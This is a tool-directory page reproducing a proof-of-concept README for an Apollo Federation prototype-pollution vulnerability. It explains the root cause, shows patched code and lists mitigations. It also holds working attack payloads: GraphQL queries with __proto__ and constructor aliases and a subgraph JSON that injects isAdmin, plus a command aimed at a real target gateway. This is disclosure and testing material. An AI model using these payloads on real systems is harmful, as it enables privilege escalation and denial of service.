Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
POC-CVE-2026-32621-Apollo-Federation-XSS-Vulnerability — PoC exploit for CVE-2026-32621 demonstrating Apollo Federation deepMerge prototype pollution via crafted GraphQL aliases, with patched-version tests. | Kitploit
Tools/GitHubGitHub/sam00/poc-cve-2026-32621-apollo-federation-xss-vulnerability
Vulnerability AnalysisExploitationWeb Application ExploitationAPI Security
GitHubsam00/poc-cve-2026-32621-apollo-federation-xss-vulnerability

POC-CVE-2026-32621-Apollo-Federation-XSS-Vulnerability

PoC exploit for CVE-2026-32621 demonstrating Apollo Federation deepMerge prototype pollution via crafted GraphQL aliases, with patched-version tests.

View Repository
61 month agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2026-32621 - Apollo Federation Prototype Pollution PoC

Overview

FieldValue
CVECVE-2026-32621
CVSS9.9 Critical
CWECWE-1321 (Prototype Pollution)
AffectedApollo Federation < 2.9.6, < 2.10.5, < 2.11.6, < 2.12.3, < 2.13.2
Patched2.9.6, 2.10.5, 2.11.6, 2.12.3, 2.13.2
GHSAGHSA-pfjj-6f4p-rvmh

Vulnerability Description

Apollo Federation's deepMerge function (used in @apollo/query-planner and @apollo/gateway to merge subgraph responses during query plan execution) fails to sanitize keys before accessing target[key].

When a source object contains __proto__ as an own property (which JSON.parse creates), Object.keys() returns it, and target["__proto__"] resolves to Object.prototype via the prototype chain. The merge then writes properties directly onto Object.prototype, polluting the global prototype chain for the entire Node.js process.

Root Cause

root@kitploit:~
// VULNERABLE (pre-patch)
for (const key of Object.keys(source)) {
  if (target[key] && isObject(source[key])) {
    deepMerge(target[key], source[key]);  // target["__proto__"] = Object.prototype!
  } else {
    target[key] = source[key];            // Direct assignment to prototype
  }
}

// PATCHED (post-patch)
for (const key of Object.keys(source)) {
  defineOwn(target, key);  // <-- Fix: shadows prototype property with own property
  if (target[key] && isObject(source[key])) {
    deepMerge(target[key], source[key]);
  }
}

Attack Vectors

1. Client-Side (Malicious GraphQL Query)

A client sends a GraphQL query with field aliases named __proto__, constructor, or prototype. When the gateway processes the response, deepMerge uses these aliases as keys, polluting Object.prototype.

root@kitploit:~
query {
  __proto__: products {
    polluted: id
  }
}

2. Subgraph-Side (Compromised Subgraph)

A compromised subgraph returns JSON with __proto__ keys. When the gateway merges the response via deepMerge, Object.prototype is polluted.

root@kitploit:~
{"data":{"__proto__":{"isAdmin":true,"polluted":"yes"}}}

3. Nested Chain

root@kitploit:~
query {
  constructor: products {
    prototype: id
  }
}

Impact

  • Privilege escalation: Inject isAdmin, role, permissions properties
  • Denial of Service: Override toString, valueOf with null/broken functions
  • Data integrity: Inject properties that affect business logic
  • Persistent: Pollution affects ALL subsequent requests to the gateway instance
  • Cross-request: Any request after the attack sees polluted prototypes

Documentation

DocumentContent
USAGE.mdDetailed usage guide with step-by-step instructions
DIAGRAM.mdStructure diagrams and attack flow visualization

Files

| File | Purpose |

|------|---------| | exploit.js | Main exploit with 5 attack vectors + local demonstration | | test_exploit.js | Unit tests (15 tests validating pollution and patch) | | e2e_test.js | End-to-end validation (10 tests: gateway + exploit + verify) | | setup_vulnerable.js | Vulnerable gateway simulator for testing |

Usage

Quick Start (Local Demonstration)

root@kitploit:~
# Run the local deepMerge vulnerability demonstration
node exploit.js

This demonstrates the exact vulnerable code path without needing a running gateway.

Full Exploit (With Vulnerable Gateway)

root@kitploit:~
# Terminal 1: Start vulnerable gateway simulator
node setup_vulnerable.js 4000

# Terminal 2: Run exploit against gateway
node exploit.js -u http://localhost:4000/graphql

Run Tests

root@kitploit:~
# Unit tests (15 tests)
node test_exploit.js

# End-to-end tests (10 tests - starts gateway, sends exploits, verifies pollution)
node e2e_test.js

Exploit Against Real Apollo Gateway

root@kitploit:~
# Target a real vulnerable Apollo Gateway instance
node exploit.js -u http://target-gateway:4000/graphql

Example Output

root@kitploit:~
======================================================================
  CVE-2026-32621 - Apollo Federation Prototype Pollution
  CVSS 9.9 Critical | CWE-1321
  Patched: 2.9.6, 2.10.5, 2.11.6, 2.12.3, 2.13.2
======================================================================

======================================================================
  Direct deepMerge Vulnerability Demonstration
  (Reproduces the exact vulnerable code path)
======================================================================

[Test 1] __proto__ pollution via JSON.parse source
  Source keys: __proto__
  source.__proto__ is own property: true
  VULNERABLE: Object.prototype.polluted_test1 = true
  PATCHED:    Object.prototype.polluted_test1 = undefined

[Test 2] constructor.prototype pollution
  VULNERABLE: Object.prototype.polluted_test2 = true
  PATCHED:    Object.prototype.polluted_test2 = undefined

--------------------------------------------------
  RESULTS SUMMARY
--------------------------------------------------
  [VULNERABLE] __proto__ via JSON.parse
  [SAFE]       __proto__ via JSON.parse (patched)
  [VULNERABLE] constructor.prototype
  [SAFE]       constructor.prototype (patched)

Attack Chain Diagram

root@kitploit:~
Client            Apollo Gateway              Subgraph
  │                   │                         │
  │  GraphQL query    │                         │
  │  with __proto__   │                         │
  │  field alias      │                         │
  │ ────────────────► │  Forward query          │
  │                   │ ──────────────────────► │
  │                   │                         │
  │                   │  JSON response with     │
  │                   │  __proto__ as own prop  │
  │                   │ ◄────────────────────── │
  │                   │                         │
  │                   │  deepMerge() called     │
  │                   │  target["__proto__"]   │
  │                   │  → Object.prototype     │
  │                   │  ⚠ POLLUTED!            │
  │                   │                         │
  │  200 OK           │                         │
  │  polluted: true   │                         │
  │ ◄──────────────── │                         │
  │                   │                         │
  │  ALL subsequent requests inherit polluted   │
  │  properties (isAdmin, polluted, etc.)       │

See DIAGRAM.md for full architecture diagrams.

Mitigation

  1. Upgrade to patched versions: 2.9.6, 2.10.5, 2.11.6, 2.12.3, 2.13.2
  2. Input filtering: Block GraphQL operations containing __proto__, constructor, prototype in field aliases and variable names
  3. Subgraph trust: Ensure all subgraphs are from trusted sources
  4. Object.create(null): Use null-prototype objects where possible

References

  • NVD Entry
  • GitHub Advisory GHSA-pfjj-6f4p-rvmh
  • Apollo Federation Security Advisory
  • CWE-1321

License

MIT

Download Tool